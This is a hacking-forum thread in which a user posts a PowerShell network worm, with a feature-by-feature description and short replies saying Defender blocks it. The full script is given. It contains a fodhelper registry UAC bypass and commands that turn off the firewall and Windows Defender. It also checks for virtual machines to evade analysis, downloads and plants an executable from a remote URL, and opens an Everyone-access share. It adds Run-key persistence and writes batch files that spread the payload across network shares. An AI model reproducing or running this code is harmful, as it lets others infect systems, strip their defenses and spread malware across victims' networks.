

Forum:[Hack Forums](#)

Thread: [PowerShell Network Worm | Demo | Patched |](#)

Py_Dev - April 19, 2024, 6:56 pm

This is for learning purposes only! This script's UAC Bypass has been patched and will be flagged. This is strictly for education purposes and poses no REAL THREATS!!

UAC Bypass Attempt

This block attempts to bypass User Account Control (UAC) to run commands with elevated privileges without prompting the user:

Check if running as Administrator; Checks if the script is running with administrative privileges. If not, it tries to bypass UAC.

Registry Manipulation; Modifies the registry to hijack the file association for system settings, setting a new command that launches a PowerShell command with elevated privileges when fodhelper.exe is executed.

Execute and Clean; Runs fodhelper.exe to trigger the UAC bypass and then cleans up the registry changes to avoid detection.

Disable Firewall and Windows Defender

This section of the script disables critical security components:

Firewall; Disables the firewall for all profiles reducing the system's defenses against network attacks.

Windows Defender; Turns off real-time monitoring and other protective features in Windows Defender, making the system more vulnerable to malware.

Avoid Execution in Virtual Machines

Checks if the script is running inside a common virtual machine (VMware or VirtualBox). If it detects a VM, it exits immediately. This is typically done to avoid analysis in a virtualized environment.

Malicious Download and Execution

Download and Execute Malware; Downloads an executable from a specified URL and attempts to execute it. This is a common tactic used to deploy additional malware onto a compromised system.

Network Shares; Searches for network shares on the local machine or on the network, and if found, it places the malicious executable there, possibly to spread the malware across the network.

Persistence; Adds an entry to the registry to ensure the malware runs every time the system starts, achieving persistence.

Batch File Creation for Malware Execution

Batch Files; For every executable found in any network share, it creates a corresponding batch file designed to execute both the original executable and the newly downloaded malware. This ensures the malware executes in multiple locations, increasing its spread and impact.

WARNING: Potential SPAM or INFECTED LINK code

Spoiler [\(Click to View\)](#)

```

Code if (-NOT
([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([S
ecurity.Principal.WindowsBuiltInRole]::Administrator)) {
    try {
        # Attempt to bypass UAC if not running as admin
        $regPath = "HKCU:\Software\Classes\ms-settings\shell\open\command"
        New-Item -Path $regPath -Force | Out-Null
        New-ItemProperty -Path $regPath -Name "DelegateExecute" -Value "" | Out-Null
        Set-ItemProperty -Path $regPath -Name "(default)" -Value "cmd /c start PowerShell
-ArgumentList '-WindowStyle Hidden -Command Get-Process' -Verb RunAs" | Out-Null
        Start-Process "fodhelper.exe" -WindowStyle Hidden
        Start-Sleep -Seconds 2
        Remove-Item "HKCU:\Software\Classes\ms-settings" -Recurse -Force
    } catch {}
    exit
}

```

```

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

```

```

# Disable Windows Defender Real-time Monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name
"DisableAntiSpyware" -Value 1 -PropertyType DWord -Force

```

```

# Command to disable Real-time Monitoring using reg command
Start-Process -FilePath "cmd.exe" -ArgumentList "/c reg add
`"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection`" /v
DisableRealtimeMonitoring /t REG_DWORD /d 1" -Verb RunAs -WindowStyle Hidden

```

```

# Check for common VM software to avoid running in a virtual environment
if ((Get-WmiObject Win32_ComputerSystem).Model -like "*VMware*" -or (Get-WmiObject
Win32_ComputerSystem).Model -like "*VirtualBox*") {
    exit # Exit silently
}

```

```

# URL of the executable to download
$Url = "https://download1523.mediafire.com/YourMal.exe"
$FileName = [System.IO.Path]::GetFileName($Url)

```

```

# Scan for shared network folders on the local machine or across the network
$networkShares = Get-WmiObject -Class Win32_Share -Filter "Type=0" # Disk Drive Shares

```

```

if ($networkShares.Count -eq 0) {
    # No shares found, create a new share
    $newSharePath = "C:\NewSharedFolder"
    New-Item -Path $newSharePath -ItemType Directory -Force | Out-Null
    New-SmbShare -Name "NewShare" -Path $newSharePath -FullAccess "Everyone"
    # Removed Write-Host for silent operation
}

```

```

foreach ($share in $networkShares) {
    # Directory to store downloaded executables within each share
    $SharedFolderBatchDir = Join-Path -Path $share.Path -ChildPath "BatchFiles"
    if (-not (Test-Path $SharedFolderBatchDir)) {
        New-Item -Path $SharedFolderBatchDir -ItemType Directory -Force | Out-Null # Create
directory silently
    }
    $DestinationPath = Join-Path -Path $SharedFolderBatchDir -ChildPath $FileName

    # Download the file to the batch files directory silently
    Start-BitsTransfer -Source $Url -Destination $DestinationPath -Priority High

    # Adding persistence
    $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
    $regName = "MyAppPersistence"
    Set-ItemProperty -Path $regPath -Name $regName -Value ""$DestinationPath`"" | Out-Null

    # Find all .exe files in the share and create corresponding batch files to run both executables
    $executables = Get-ChildItem -Path $share.Path -Filter *.exe -Recurse -File
    foreach ($exe in $executables) {
        $batchFilePath = [IO.Path]::ChangeExtension($exe.FullName, ".bat")
        $scriptContent = @"
@echo off
start /b "" "$($exe.FullName)"
start /b "" "$DestinationPath"
"@
        Set-Content -Path $batchFilePath -Value $scriptContent -Force
    }
}

exit

```

DramaKing - April 19, 2024, 7:46 pm

This will be blocked by Defender.

Py_Dev - April 20, 2024, 1:28 am

(Apr 19, 2024 07:46 PM)DramaKing Wrote: [\[CITE\]](#) This will be blocked by Defender.

I know it does, that why I said it in the title and description. This is just a proof of conceptt

DramaKing - April 21, 2024, 5:54 am

(Apr 20, 2024 01:28 AM)GTAF Wrote: [\[CITE\]](#) I know it does, that why I said it in the title and description. This is just a proof of conceptt
I use dark mode. Glossed right over the red text.